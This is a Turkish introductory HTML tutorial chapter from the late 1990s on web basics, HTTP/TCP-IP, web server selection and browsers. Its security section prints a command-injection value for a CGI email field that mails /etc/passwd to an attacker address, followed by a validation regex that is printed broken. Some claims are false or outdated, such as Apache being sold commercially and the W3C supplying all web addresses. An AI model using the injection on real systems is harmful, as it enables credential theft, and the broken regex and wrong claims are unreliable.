| Html Kodları | Html Rehberi | Css | JavaScript Kodları | Sinema Filmleri | Rap&HipHop |

Web 'e Giriş

Web'e Giriş


Temel Bilgiler

Bu bölümde, HTML ile neler yapılabileceği ve neler yapılamayacağına bakacağız. Yine bu bölümde, tasarlayacağınız Web alanlarının, sizin (ya da sayfalarınıza ev sahipliği yapacak firmanın) bilgisayarlarından, ziyaretçinin bilgisayarına ulaştırılma yollarına değineceğiz. Sonuç itibariyle, Web alanı tasarlayan kişi, bu ulaşımın ucunda, ortasında ve sonunda da yer alan programlara, onların imkan ve sınırlamalarına bağımlı demektir. HTML’i kullanarak Web sayfası tasarlayacak kişinin bunu bir şekilde başkalarının hizmetine sunacağı varsayılır. Bu nedenle, HTML öğrenen kişinin sonunda bir Web alanına sahip olacağını düşünebiliriz. Dolayısıyla bu bölümde, kısaca, Web hizmeti sunmakta kullanılacak bilgisayarların sahip olmaları gereken donanım ve yazılım özelliklerinden de kısaca söz edeceğiz. Web Server’a koyacağınız HTML sayfaları ne kadar fiyakalı olsa da, HTML’in imkan ve yetenekleri, onu alan ve yorumlayan tarayıcı (browser) programının yetenekleri ile sınırlıdır. Bu nedenle Web tasarımcının, tarayıcı programları çok iyi tanıması gerekir. Bir tarayıcıda adeta televizyon filmi gibi gösterilebilen bir unsurun yerini, başka bir tarayıcıda gri zeminli boş bir kutu alabilir. Ya da aynı tarayıcıya sahip olan iki ziyaretçiden biri, sayfanıza girdiği anda en sıcak ve candan sesli hoşgeldiniz mesajınızı dinlerken, diğeri hiç bir şey duymayabilir. Tarayıcılar kadar, tarayıcıların özelleştirme yeteneklerini tanımak ve kullanıcıların genellikle ne gibi özelleştirmeler yapabildikleri hakkında fikriniz olması gerekir. Bu nedenle, bu bölümün sonunda mevcut en yaygın tarayıcıların ortak ve farklı önemli özelliklerine de bakacağız.

HTML’e Genel Bakış

Programlama dili gibi görülse de, görülmese de, bugün Internet’in de intranet’lerin de ortak dili, HTML’dir. Bir Web sayfasında yer alan belgenin içindeki bazı kelimeler, simgeler, fotoğraflar, grafik unsurlar veya bunların parçaları bir başka sayfa ile hiper-link kurularak, ilentilendirilmiştir. Kullanıcı, hiç bir komut öğrenmek zorunda kalmadan, hiç bir bağlantının Internet’teki adresini bilmek zorunluğu olmadan bu sayfalardaki bağlantıları tıklayarak, yazıdan yazıya, şekilden şekilde, gidebilir. Ta ki, arzu ettiği bilgiyi bulup, okuyuncaya, kendi diskine veya disketine kopya edinceye veya yazıcısında basıncaya kadar. Aslında kullanıcı ya da ziyaretçinin bir HTML sayfasıyla ilişkisi burada da bitmemektedir. Çoğumuz ulaştığımız bir alanın adresini Web tarayıcı programında sık sık ziyaret etmek istediği yerlerin arasına koyabilir (bookmark) ve arzu ettiği zaman doğruca işaretlenmiş olan bu adreslere gidebilir.

HTML’in başlıca özelliklerini şöyle sıralayabiliriz:

1.    Belge biçimlendirme: HTML, Wes tasarımcısına, belgelerini ziyaretçinin ekranında nasıl oluşmasını istiyorsa öyle şekillendirme imkanı verir. Bununla birlikte tarayıcı programlarının (Netscape Navigator veya Internet Explorer) HTML komutlarını yorumlayışlarında az da olsa fark vardır ve bu fark sayfalarınızın bir ziyaretçinin bilgisayarında başta, diğerinin bilgisayarında başka gösterilmesine yol açabilir. Ayrıca ziyaretçileriniz, tarayıcı programlara verdikleri komutlarla, aldıkları sayfalarda genel değişiklik veya kısıtlamalar yapabilirler. Siz sayfanızda ne tür harf türü (font) kullanmış olursanız olun, ziyaretçiniz tarayıcı programa “Sadece Times fontları kullan” demiş ise, sayfanız bu ziyaretçinin ekranında sizin istediğinizden farklı biçimde görülecektir. Ziyaretçi tarayıcı programına “Grafik unsurları gösterme!” demiş ise, sayfalarınız ve tabiî vermek istediğiniz görsel mesaj tamamen farklı bir nitelik kazanacaktır. Bu duruma rağmen, bugünkü şekliyle HTML, Web tasarımcısına adeta bir gazete ya da dergi sayfası tasarlarcasına, oluşturmak istediği görsel etkiyi sağlamasına yeterli tasarım araçları sunmaktadır.

2.    Bugünkü imkanlarıyla HTML, Web sayfası terimine yeni bir anlam kazandırmış bulunuyor. “Web sayfası” terimi bile, eski, yani dört-beş yıl öncesinin Web sayfaları, içi bir örnek harflerden oluşan yazılarla dolu, duragan belgelerden ibaret bulunduğu için ortaya atılmıştı. Bugünkükü Web sayfalarının “sayfa” kavramı ile dahi ilgisi kalmadı. Bugün sadece HTML ögeleri kullanılarak, ziyaretçinin ekranında adeta bir televizyon programının grafik etkisini sağlamak mümkün. Bununla birlikte HTML, bir kelime işlem ya da masaüstü yayıncılık programının oluşturabileceği görsel özelliklere sahip sayfalar oluşturamaz. Bu kısıtlamalara, Internet’i tasarlayan uzmanların, platformlar (Windows 3.x, Windows 95/98, Windows NT, Unix, MacOS), donanımlar (Macintosh, PC, Sun) ve tarayıcı programlar arasındaki farkların, sunulacak malzemenin tasarımcının kastettiğinden tamamen farklı bir şekilde sunulmasına yol açmasını önleme arzusu neden oluyor. HTML, örneğin bir masaüstü yayın programı kadar hassas ölçmelere ve biçimlendirmelere izin verse idi, bu ancak belirli bir platformda, belirli bir program kullanmayı gerektirirdi. Oysa Internet’i Internet yapan unsurların başında, hemen herşeyin ekranda ve kağıt üzerinde, ortak denilebilecek şekilde oluşturulması geliyor.

3.    HTML ile oluşturulacak statik alanların içine dinamik sonuçlar doğuracak programlar konulabilir. Bu programların oluşturulması için, ziyaretçinin Internet’e PC veya Macintosh ile bağlanmış olması, ya da bağlantı programının şu ya da bu firmaya ait bulunması gibi farklılıklardan etkilenmeyen, her türlü ortamda aynı sonucu veren ortak bir dil geliştirme çabası, ortaya Java adlı programlama dilini çıkartmış bulunuyor. Microsoft’un Visual Basic programlama dilinin bir türevi olan VBScript ve çeşitli firmaların ortaklaşa ürünü Javascript de bu tür çabaların sonuçlarıdır. Adı benzemekle birlikte, Javascript’in Java ile, VBScript’in de Visual Basic ile ilgileri yoktur. Internet tarayıcı programlarından Internet Explorer hem Javascript, hem de VBScript dillerini anlayabilir ve yorumlayabilir. Buna karşılık Netscape tarayıcı programı VBScript diliyle yazılmış bölümler içeren bir HTML metnini yorumlayarak, ekrana getiremez. Bugünkü şekliyle Java dili de, Javascript ve VBScript de, tarayıcı programların imkan ve kabiliyetleri ile sınırlıdır. Ancak her üç dili kullanarak, HTML sayfalarını duraganlıktan çıkartmak ve ziyaretçi ile etkileşen, ziyaretçinin arzu, beğeni ve özelliklerine göre içeriğini değiştirebilen Web alanları tasarlamak mümkündür

HTTP ve TCP/IP

Web sayfası tasarlarken, dikkat edeceğiniz en önemli unsur, sayfalarınızın içeriğinin sunuluş biçiminin önemli ölçüde ziyaretçinin bilgisayarının türü (Mac, PC, Sun), ziyaretçinin işletme sistemi (Windows 3.x, 95/98, NT, MacOS, Unix) ve kullandığı tarayıcı yazılımı (IE, Netscape, Mosaic, vs.) tarafından belirleneceği olmalıdır.

Bir Web sayfasının ziyaretçinin ekranına kadar kat’ettiği yolda çeşitli protokoller (kurallar) var. Bunların başında bir bilgisayar ağı olan Internet’in iletim kuralları (HTTP) geliyor. Hypertext dosyalarını olduğu kadar çoklu ortam unsurlarını (ses, video ve diğer grafik ögelerden oluşan Multimedia dosyalarını) ve bilgisayar programlarını ağ içindeki bilgisayarlar arasında alıp-vermeye yarayan başka protokoller de vardır: FTP (File Transfer Protocol-Dosya Aktarma Kuralları) bunlardan biridir.

Internet bağlantısı, bir telin iki ucunda bulunan iki bilgisayar arasındaki ilişki olarak görebilirsiniz. Sizin Web sayfalarınızın durduğu bilgisayar Web ilişkisinde “Server” (Hizmet eden) diye adlandırılır. Ziyaretçinin Internet’e telefon bağlantısı ile bağlı bilgisayarı, ise sizin için Client-Müşteri sayılır. Hizmet veren bilgisayarla, bu hizmetin müşterisi olan bilgisayar (Server ile Client) arasındaki ilişkiyi düzenleyen kurallara TCP/IP adı verilir (Transmission Control Protocol/Internet Protocol-İletim Denetim Kuralları/Internet Kuralları). Gerek HTTP, gerekse FTP, müşterinin, sizin bilgisayarınızdan, yani Web Server olarak adlandırdığımız HTML sayfaların ve bu sayfaların içinde yer alan resimlerin, grafiklerin, ses ve video dosyalarının durduğu bilgisayardan bilgi isteme ve bu istediğine karşılık verildiğinde verilen karşılığın doğru gelip gelmediğini anlamasını sağlar. İki bilgisayarın üzerinde anlaştıkları bir tür konuşma adabı diyebileceğimiz bu kurallara uygun mesajlarını, kıt’adan kıt’aya, ülkeden ülkeye, kentten kente, yeraltı ve sualtı kabloları ile, uydularla iletirler. Tahmin edilebileceği gibi, müşteri bilgisayar ile servis sunan Web Server arasında oluşan bu bağlantı, bazen kesilebilir. Fizikî bağlantının kesilmesi, iletimin kesilmesi anlamına gelmemesi için, Internet Kuralları’nın IP bölümü, iki bilgisayar arasındaki bağlantının doğru kanallardan kurulmasını, kesildiğinde yeniden kurulmasını sağlar. Bunu yaparken, evrensel bir adres sisteminden yararlanır. Internet’te servis sunan bilgisayarlar, başka bir deyişle Web Server’lar kaynak sayıldığı için, IP, aradığı kaynağı Universal Resource Locator (URL) sistemini kullanarak bulur. Aynı kurallar demetinin TCP bölümü ise kurulan bağlantı sayesinde gelen bilginin doğru anlaşılmasını sağlar.

Aslında her bilgisayar, CPU ile ekran, CPU ile klavye, CPU ile CD-ROM sürücü arasında bir ağ demektir. Bir büro ortamında bir bilgisayar ile merkezdeki Server, bir ağın parçalarıdır. Bu ağların Internet denen dev ağdan farkı, sizin bilgisayarın CPU’su ile klavyesi, ekranı ve yazıcısı arasındaki bağ, yine bir büro ortamındaki bilgisayar ile merkez bilgisayar arasındaki ilişki, “sabit durum” ilişkisidir. Yani, bu ağlarda iki taraf birbirinin durumuna her an vakıftır; birbirlerinin ne durumda olduklarını her an bilirler. Oysa, iki kıt’a arasında kurulmuş bir Internet ilişkisinde, müşteri hizmet verenin, hizmet veren müşterinin durumunu, bağlantıdaki kesilmeler nedeniyle, bilemeyebilir. Bu nedenle TCP/IP, “durumun bilinmediği ilişki” esasına dayanır. Müşteri bilgisayar, servis sunucudan istediğini HTTP veya FTP kurallarına göre talep eder. Bunun için Web Server’ın kendisini bulup, bu talebi doğruca ona iletmesine gerek yoktur; bu talebini kendisine Internet bağlantısı sağlayan (ISP) firmanın bilgisayarına iletmesi yeterlidir. Bunu yaparken talep ettiği şeyin adını-sanını bildirdiği gibi bulunacağı kaynağı belirlemek için gerekli, adresi de (URL) bildirmek zorundadır. Internet hizmeti sağlayan firmanın bilgisayarı, bu talebi ve talebi karşılayacak kaynağın adresini, Internet’in omurgası olarak adlandırılan ana bağlantıyı kuran bakımını yapan ve ISP’lere hizmet sunan firmanın bilgisayarına iletir. Ana omurga firmasının bilgisayarlarında dünyadaki tüm Internet kaynaklarının listesi ve onlara ulaşmak için hangi omurgadan kime yol açılması gerektiğini gösteren bir liste bulunur. Ana omurga şirketinin bilgisayarı bu listeye göre, müşterinin talebini diğer bir ana omurga firmasına, o firma da bunu hedef Web Server’a ev sahipliği yapan (host) bilgisayara iletir. Bu talep, hedef Web Server’a talebin konusu ve talep edenin adresi ile birlikte bildirilir. Sizin müşteri olarak o sırada sadece kendi Internet hizmet sunucunuzla bağlantınız sürmektedir; yoksa sizin bilgisayarla hedef Web Server arasında doğrudan, bire-bir ilişki yoktur. Hedef Web Server, müşteri olarak sizin kim olduğunu ve size nasıl ulaşabileceğini, ancak kendisine gelen talebin altındaki adresten bilmektedir. Web Server, sizin o anda kendi Internet Hizmet Sunucu’nuzla arasındaki bağlantının devam edip etmediği ile hiç mi hiç ilgilenmez. Onun için önemli olan kendisine iletilen talebin karşılığını, talebin altındaki adrese iletmekten ibarettir. Aynı yol bu kez tersine kat’edilir; arzu ettiğiniz bilgi (sayfa, belge, video, ses, resim, fotoğraf, vs.) sizin ekranınıza ulaşır. Kısaca, ne talep sahibi müşteri bilgisayar, ne talebi karşılayan Server bilgisayar, bir diğerinin o anda nerede ve ne durumda olduğu ile ilgilenmez. Bu “durumdan haberdar olmama” hali ve etkilerine, ilerde Internet’te ticaret bahsinde geri döneceğiz.

Web Server

HTTP ve FTP, müşteri bilgisayarla, servis sunan bilgisayarın üzerinde anlaştıkları bir dille (HTML) birbirine ilettikleri talep ve talebin karşılığı olan malzemenin alınıp verilmesinde TCP/IP denilen kurallardan yararlanılarak yapılan iletimi düzenleyen ilkelerdir. Bu ilkelere uygun olarak çıkartılan bir talep Web hizmeti sunan bilgisayar tarafından karşılanır ve karşılık olarak belirli bir bilgi kümesi müşteri bilgisayara iletilir.

Web server olarak tayin edilmiş bilgisayarda, kendisine gelecek HTTP ve FTP taleplerini anlamasına ve bu talepleri yerine getirmesine yarayan programlar (örneğin Apache Web Server, MS Internet Information Server veya Netscape Web Server) sürekli çalışır vaziyette olur. Bu programların, bilgi alıp-vermenin yanı sıra, elektronik posta alıp verme ve yönlendirme, veritabanlarına erişme ve içinden seçme yapma (Querry, SQL, vb. gibi), kendi sabit diskinde duran bir dosyayı alıp karşı tarafa aktarma (FTP, Gopher, WAIS) veya karşı tarafın vereceği dosyayı alıp kendi sabit diskine kaydetme yeteneği olur.

İlk Web Server programı, yukarıda, HTML dilinin geliştirilmesindeki öncü konumu nedeniyle sözünü ettiğimiz, İsviçre’deki CERN kurumu tarafından geliştirildi; ama kısa zamanda UNIX platformunda, anonim bir tarzda ve ücret ödemeden kullanılabilen bir şekil aldı. NCSA Server, National Center for Supercomputing Applications-Superbilgiişlem Uygulamaları Ulusal Merkezi adlı, şimdi kapanmış olan kurum tarafından UNIX işletme sistemi için geliştirilmişti. NCSA Server’ın geliştirilmiş şekli olan Apache Server ise uzun süre ücretsiz dağıtıldıktan sonra günümüzde ticarî olarak geliştiriliyor ve satılıyor. Bugün halâ NCSA Server veya Apache’nin ücretsiz sürümlerine dayalı Web alanları bulunmakla birlikte, Sun Solaris, IBM AIX ve diğer UNIX sistemleri için geliştirilmiş çok sayıda Web Server hizmete girmiş durumda. Kişisel bilgisayarların UNIX gerektiren bilgisayarlara oranla daha ucuz olması, Microsoft’un NT, IBM’in OS/2 işletme sistemlerinin UNIX’e ciddî rakip haline gelmiş bulunmaları nedeniyle, bu sistemlere dayalı Web Server programları da hızla artıyor. Apache Web Server’ın bile NT sürümü piyasaya çıktı.

NT Workstation ve Windows 95/98, aslında Kişisel Web Server adı verilen, Internet’e 24 saat bağlı olmadan, başka bir firmanın ev sahipliği yaptığı Web alanlarına hizmet sağlayabilir. Hatta NT Workstation, aynı anda 10’u geçmemek üzere, 24 saat süreyle ınternet’e bağlanabilecek ve müşteri taleplerini karşılayabilecek yetenektedir. Aynı anda daha fazla Internet bağlantısını kaldırmak istiyorsanız, NT’nin Server sürümünü edinmeniz gerekli. IBM’in OS/2 işletim sistemi ise, Internet Connection Server adlı paket kurulduğu zaman, bir PC’nin fiziksel olarak kaldırabileceği kadar Internet bağlantısına cevap vermesini sağlamaktadır. Macintosh bilgisayarları için Starnine firmasının MacHTTPd programı gibi, ücretsiz edinilebilecek http4Mac ve EasyServe adlı programlarla, Internet servisi sağlamak mümkün.

Ayrıca, bugün PC’lerde de UNIX işletme sistemi kurmak hem kolay, hem ucuz hale gelmiş bulunuyor. Solaris, BSDI, Esix, SCO UNIX bu alandaki ticarî programlar. Ayrıca Linux ve FreeBSD adlı, ücretsiz dağıtılan UNIX işletme sistemleri de, ticarî olanları aratmayacak niteliklere sahip. Ayrıca bu tür ücretsiz programlar, Apache Web Server’ın ücretsiz sürümünü de içeriyorlar.

Bir PC ile Web Server hizmeti yapacaksanız, önünüzdeki bir çok seçeneğe rağmen, başarınızın PC’nin gerçekten sabit disk alanı ve belleği bol olmasına bağlı bulunduğunu hatırlamalısınız. PC’lerin, Internet’in gerektirdiği en önemli özellik olan aynı anda birden çok iş yapabilme becerisi, işletim sistemi kadar, donanım kaynaklarının genişliğine bağlı olduğunu unutmamalısınız.

Bir Web Server yazılım paketi seçerken dikkat edilmesi gereken bir kaç ilkeyi sıralayalım:

1.    Yazılım paketi yeterli güvenliği sağlayacak özelliklere sahip olmalıdır. Binalarda bir odadaki yangının yandaki odaya sıçramasını önleyen ateşe dayanıklı duvarlardan (Firewall) esinlenerek adlandırılan bir dizi program, Web Server yazılımının bulunduğu bilgisayarın, kötü niyetli kişiler tarafından bozulmasına engel oluyor. Ancak Web Server’ın kendi içinde mevcut güvenlik önlemlerinin neler olduğunu dikkatle araştırmanız gerekir. UNIX işletme sistemi ve ona bağlı çalışan Web Server programlarının daha güvenli olduğuna ilişkin, kimi zaman Web tasarımcısını ve Internet hizmet sunucusunu rahatlatan, yaygın bir söylenti vardır. Bu doğru değil. Ne türü olursa olsun, UNIX de bir işletme sistemidir ve el elden üstündür. Kötü niyetli bir kişi Windows NT sistemine verebileceği zararı, aynı rahatlıkla UNIX’e de verebilir. Bir diğer yaygın ve aynı ölçüde yanlış inanç ise NT’nin güvenli olmadığıdır. Microsoft firmasının NT’nin 4’ncü sürümünü güncelleştirmek için dağıttığı SP3 adlı tamir programının yerleştirilmesinden sonra, NT sistemleri güvenlik açısından herhangi bir başka işletme sistemiyle boy ölçüşebilir hale geldi. Burada önemli olan, Internet’e açılmanın, iyi niyetli-kötü niyetli herkese açılmak olduğunu unutmamaktır. Özellikle form denilen, HTML’in ziyaretçi bilgisayarın evsahibi bilgisayara talepten başka şeyler göndermesine imkan veren etiketlerini ve ona bağlı CGI (Common Gateway Interface-Ortak Geçit Arabirimi) adı verilen ziyaretçinin ev sahibi bilgisayardaki programları harekete geçirebildiği buluşma noktasında yer alacak programları tasarlarken, daima kötüniyetli kişileri dikkate alarak hareket etmek gerekir. Internet’te güvenliğin ne kadar kolay sarsılabildiğine ve ne kadar kolay önlem alınabileceğini bir örnek verelim. Sayfanızda, ziyaretçinin doldurması gereken “Elektronik Posta Adresiniz:” diye bir metin kutusu bulunduğunu düşünün. Bu kutuya bütün ziyaretçilerin elektronik posta adreslerini yazacaklarını düşünüyor ve bu bilgiyi işleyecek CGI programında, ziyaretçinin bu kutuya yazacağı bilgiyi, alıp doğruca Web Server’ın “Mail” programına veriyorsunuz. Peki, ya kullanıcı adres yerine “herkimse@herneredeyse.com; mail haydut@soygun.com</etc/passwd” yazarsa? Bu basit elektronik posta adresi, sizin Mail Server’ınızın bilgisayar sisteminizdeki bütün password-parola dosyaları Soygun.com’daki “Haydut” isimli arkadaşa postalamasını sağlayacaktır. Oysa, CGI programını yazan kişi, elektronik posta adresini Mail programına gönderirken “unless ($mail_to = ~/^[w-.]+@[w-.]+$)” şeklinde bir satırla, Web ve Mair Server’larla işletme sisteminin “metakarakter” denilen ve bir isim veya adreste değil de sadece komutlarda yer alabilecek karakterlerin bulunup-bulunmadığını denetlerse, sorun kökünden halledilebilecektir.

2.    Mahremiyetin Korunması ve Doğrulatma: Web hizmeti sunan kişi, sadece başkalarının kendi bilgisayar sisteminde arzu edilmeyen şeyler yapmalarını önlemekten değil, aynı zamanda kendisine tevdi edilen başkalarına ait bilgileri de saklamak ve başkalarından korumak zorundadır. Bu bilgiler, ziyaretçinin adı, elektronik adresi, hatta kredi kartı numarası olabilir. Bunlar, sizin Internet’te çizdiğiniz portreye güvenilerek size verilmiş mahrem bilgilerdir. Ziyaretçi bu bilgileri size, kötüye kullanılmayacağı güvencesiyle vermektedir. Bu bilgilerin korunması, sizin birinci derecede sorumluluğunuzdadır. Aynı bağlamda, Web hizmeti sunan kişi olarak, sizin de bu bilgilerin kolayca ve başkalarına açık hale getirilmeden doğrulatılmasına ihtiyacınız olacaktır. Web Server programınız, örneğin kredi kartı numarasını, yeni programlar edinmeye ihtiyaç kalmadan doğrulatabiliyor mu? Yeni bir kredi kartı firmasının çıkartacağı elektronik alış-veriş yöntemi, sizin Web Server’ınıza kolaylıkla uyarlanabilir mi? Microsoft gibi, IBM gibi firmaların paket program olarak sundukları Web Server’lar, çoğu zaman bu firmaların protokollerini tanıyan her türlü ek programı kabul ederler. Oysa Internet’ten ücretsiz olarak edinilebilecek bir Web Server programı, belki maliyet açısından çok daha uygun görülebilir, ama daha sonraki ekleri kabul edemez.

3.    Web Server, sizin Internet sayfalarınızı ziyaret edecek kişilerin bilgisini doğru tutuyor mu? Web hizmeti sunan kişi olarak, kimin hangi sayfadan sizin sayfasına atladığını bilmek, kendi sayfanızın reklamını bu sayfalarda daha çok yapmanıza imkan verir. Özellikle elektronik ticarete dayalı veya mesajını daha çok sayıda kişiye iletmek amacıyla hazırlanan Web alanlarını işletenlerin, sayfalarının varlığını duyurmak için, mümkün olan her yoldan yararlanmaları gerekir. Web Server, size bu kolaylıkları sağlamalıdır. Web Server, kimin hangi tür bilgileri edinmek istediğine ilişkin rapor tutmalıdır. Bu raporu incelemekle, Web alanınızda hiç talep edilmeyen bilgilerden çok, talep edilen alanlarda daha çok bilgi sunabilirsiniz.

4.    Web Server programıyla ilgili teknik destek ve sorun çözme hizmeti alıp almamak, programın seçiminde belki de en önemli unsur sayılabilir. Özellikle başlıca işi bilgisayar mühendisliği olmayan bir hizmet sunucu, yazılımın donanımla uyumunu sağlamada karşılaşabileceği güçlükleri, ancak yazılımı piyasaya süren firmanın teknik servisinden veya o yazılımla ilgili uzmanlığı olan danışmanlardan sağlayabilir. Piyasada hiç tanınmayan veya Internet’ten ücretsiz olarak edinilebilen, dolayısıyla belirli bir firmanın malı olmayan Server programları, çoğu zaman gerekli teknik destekten de mahrumdur. Buna karşılık büyük yazılım firmalarının programları, firmanın kendi mühendis ve uzman kadrosu, ve buna ek olarak bu programlara destek sağlayarak hayatını kazanan kişiler tarafından en ince ayrıntılarına kadar bilinmektedir. Bir gece yarısı çöken Web Server’ı yeniden çalıştıramamanın bedeli, o programın ilk maliyetinden çok daha yüksek olabilir.

Web Tarayıcıları

Web tasarımcısının, HTML komutları kadar, hatta onlardan da çok iyi bilmesi gereken, tarayıcıların HTML’i nasıl yorumladığıdır. Bu nedenle bir Web tasarımcısının bilgisayarında, Web server yazılımı bulunmayabilir (sayfalarına başka bir Internet Web Server hizmeti veren kişi veya firma evsahipliği yapıyor olabilir), ama mutlaka piyasaya mevcut Web tarayıcılarının hemen bütün geçerli sürümleri bulunmalıdır. Netscape firmasının Navigator ve Communicator adıyla piyasaya sürdüğü farklı sürümleri ayrı ayrı dizinlerde durmak şartıyla aynı bilgisayarda çalışabilir. Anacak Microsoft firmasının Internet Explorer adlı programının farklı sürümleri aynı Windows ortamında birarada bulunamazlar. Bunun için iddialı bir Web tasarımcısının, bu programın farklı sürümleri için birden fazla bilgisayar bulundurması gerekebilir.

Neden değişik tarayıcıların değişik sürümlerine ihtiyacınız var? Bu sorunun cevabı, HTML’in ınternet’in ortak dili olduğu gerçeğine bir ölçüde gölge düşürecektir. Çünkü ortak bir HTML dili bulunmasına rağmen, tarayıcıların ve aynı tarayıcının farklı sürümlerinin HTML’i yorumlayışı farklıdır. HTML, Uluslararası Web Konsorsiyomu adlı kuruluşun çıkarttığı, adı “tavsiye” olmakla birlikte kendisi standart sayılan dördüncü sürümüne ulaşmış bulunuyor. Böyle bir standartlaşmaya rağmen, Netscape ve Microsoft firmaları, bilgisayar kullanıcılarının rağbet ettiği tek tarayıcı programın kendi programları olmasını sağlamak üzere giriştikleri rekabet çerçevesinde, programlarını sadece HTML’i aynı şekilde yorumlayan ve dolayısıyla birbirinden farksız sonuçlar veren programlar olmaktan çıkartmak istediler. Bunun sonucu ise, Web tasarımcısının, kimi zaman Netscape’in anladığı ama IE’nın anlamadığı, kimi zaman IE’in becerebildiği, buna karşılık Netscape’in henüz programına koyamadığı HTML özelliklerinden hangisini kullanacağına bir türlü karar veremez duruma düşmesi oldu.

HTML’i kullanarak, ticarî amaçlı Web tasarımı yapan kişi, Internet ile bağlantılı bilgisayar kullanıcılarının (Internet kullanıcılarının) hepsinin ekranında aynı şekilde gösterilecek sayfalar yapmaya mecburdur. Buna karşılık bir firmanın intranet ortamı için Web tasarımı yapan kişi, HTML’in sadece kendi firmasının standart olarak benimsediği tarayıcının anlayabileceği özelliklerinden yararlanması mümkündür.

Microsoft Internet Explorer

Windows ortamında tarayıcı piyasasına, diğer tarayıcılardan sonra girmesine rağmen, Microsoft’un Web tarayıcı programı, piyasa payındaki artış hızı bakımından da, HTML’in tanıdığı özellikleri ve HTML’e ilave ettiği diğer görsel kabiliyetler bakımından da, diğer programları geride bırakmış bulunuyor. 1997 sonbaharında 4’ncü sürümü piyasaya çıkan IE, giderek Windows ortamının masaüstü ile bütünleşiyor. IE artık sadece bilgisayar kullanıcısının Internet ile bağlantı kurmasını ve Internet’ten alacağı HTML sayfalarını ekrarında canlandırmasını sağlamakla kalmıyor, aynı zamanda bilgisayarın disklerinin taranması ve dosya yönetimi gibi işleri de yapıyor. Windows 98’in ve NT’nin hazırlanmakta olan beşinci sürümünün yardım dosyaları da IE vasıtasıyla okunuyor. IE’nin, sürümleri daha geriden gelmekle birlikte Macintosh uyumlu sürümü de bulunmaktadır. IE’nin UNIX sürümü, 1998 yaz sonu piyasaya sürülmek üzere hazırlanmaktadır. IE, Microsoft’un Internet alanından ücretsiz indirilebilir veya sadece CD masrafı ödenerek, firmadan posta ile de istenebilir.

Netscape Navigator

Netscape Communications Corporation’ın (NCC) piyasaya sürdüğü NN, IE’ın hızlı yükselişine rağmen, kurulduğu bilgisayar sayısı bakımından piyasanın en yaygın tarayıcısıdır. NN, sadece Windows ve Macintosh ortamlarında değil, fakat aynı zamanda UNIX işletme sisteminde de işleyebilmektedir. NCC, yakın zamana kadar, hem tarayıcı, hem de Web Server programları alanında Internet’te öncü konumda idi. Internet’in bugün sahip olduğu bir çok özellik, HTTP ve FTP ilkelerinin çoğu, bu firmanın tasarımı sonucudur. Eğitim kurumları ve kâr amacı gütmeyen kuruluşların mensupları ile programdan kişisel amaçlarla yararlanmak isteyenler, NN’i ücretsiz olarak kullanabilirler. Ticaret amaçlı kullanım ise ücrete tabidir.

Diğerleri

Web tarayıcı piyasasını NCC ve MS firmalarının egemenliklerine almış olmaları nedeniyle, piyasada başka tarayıcı bulunmadığını sananların sayısı az değil. Oysa piyasada, çoğu ücretsiz veya sınayıp da beğenenlerin yazarına az bir ücret ödedikleri paylaşım yazılımı türünden, 50’den fazla tarayıcı programı bulunmaktadır. Bu programların en yaygını, tarayıcı programının ilk mucidi NCSA’e ait Mosaic’tir. Spyglass firmasının Mosaic’i esas alan programı, halâ yaygın olarak kullanılmaktadır.

Web tasarımcısının NN ve IE’ın 3 ve 4’ncü sürümlerini bilgisayarlarında mutlaka bulundurması gerekir. Hazırlayacağınız bir HTML dosyasının, bu iki program ve onların farklı sürümleri tarafından nasıl yorumlandığını ve bu yorumun sizin oluşturmak istediğiniz görsel etkiye uygun olup olmadığını, sayfalarınız Internet’e veya intranet’e çıkmadan mutlaka incelemelisiniz. HTML’in 4’ncü sürümünde yer alan komut listesinin tümü halâ NN tarafından tanınmamaktadır. Böyle bir komuta sayfanızda yer vermeniz halinde, sayfanızı NN ile tarayacak ziyaretçilerin ekranlarında, sayfanız sizin istediğiniz biçimde yansıtılamaz.

Bir Web tasarımcısının mutlaka aşina olması gereken bir tarayıcı, HTTP, FTP ve HTML gibi Web’in protokol ve dillerini belirleyen, Evrensel Kaynak Belirleyici (URL) sistemini işleten, yani tüm dünyadaki Web adreslerini sağlayan ve bu listeyi üstlenici firmalar aracılığıyla hergün tüm dünyadaki Internet omurga işletmecilerine ulaştıran uluslararası kurum olan W3C’nin kendi tarayıcı programı olan Amaya’dır. Bu program, sadece Internet tarayıcı değil, aynı anda HTML sayfaları oluşturmakta da kullanabileceğiniz bir HTML editörüdür. Birden fazla HTML sayfasını açabilen, Internet’e bağlı iken bir yandan da sayfa tasarımına olanak veren Amaya, HTML’i, olduğu gibi anlayıp, ekranda gösteren tek tarayıcı programıdır. NN ve IE, HTML’e kendi yorumlarını katarken, Amaya, sayfalarınızın gerçek HTML değerlerini ekrana getirecektir. Bu program ücretsiz olarak http://www.w3C.org adresinden indirilebilir. Bu programı edinmek, ve tasarlayacağınız Web sayfalarını bu programla sınamak, tasarımcı olarak sizi diğer tarayıcıların sayfanızı nasıl göstereceğini belirleme zorunluğundan kurtarmaz. Amaya, bir HTML sayfasının sınanacağı ilk tarayıcı olmalıdır. Ama tasarımcı olarak, sayfanızın NN veya IE’de “nasıl durduğunu” belirlemek zorundasınız. Ayrıca Amaya, HTML standardının parçası olmayan, NCC ve MS tarafından kendi tarayıcı programlarının bir ilave niteliği olarak ortaya attıkları Java, Javascript, VBScript gibi programları tanımamaktadır. HTML editörü olarak Amaya, bu alana yeni atılan bir tasarımcının HTML’i öğrenmesine ve uygulamasına olanak sağlamakla birlikte, çok yetenekli ve scripting pogramları oluşturabilen diğer editing programlarına oranla basit kalabilir.

Yaygınlık Oranları

Internet’te http://browserwatch.internet.com adresinde bulabileceğiniz istatistikler, size tarayıcılar arasında hangi programın ne oranda rağbet gördüğünü söyleyecektir. Genel olarak ifade edersek, Netscape Navigator halâ tüm bilgisayarlarda (PC, UNIX bilgisayarları ve Macintosh) yarının biraz üzerinde bir paya sahip bulunuyor. IE ise, üçret bir sınırını aşmış durumda. Listenin geri kalan bölümünü, en genişi yüzde 2’lik bir pay olmak üzere, şu programlar paylaşıyorlar: Cyberdog, IBrowse, Opera-3.0, Lynx, Echo, CacheFlow-Cache, IBM WebExplorer, Opera-3.0, ve MacWeb.

Yardımcı Programlar ve Ek Birimler

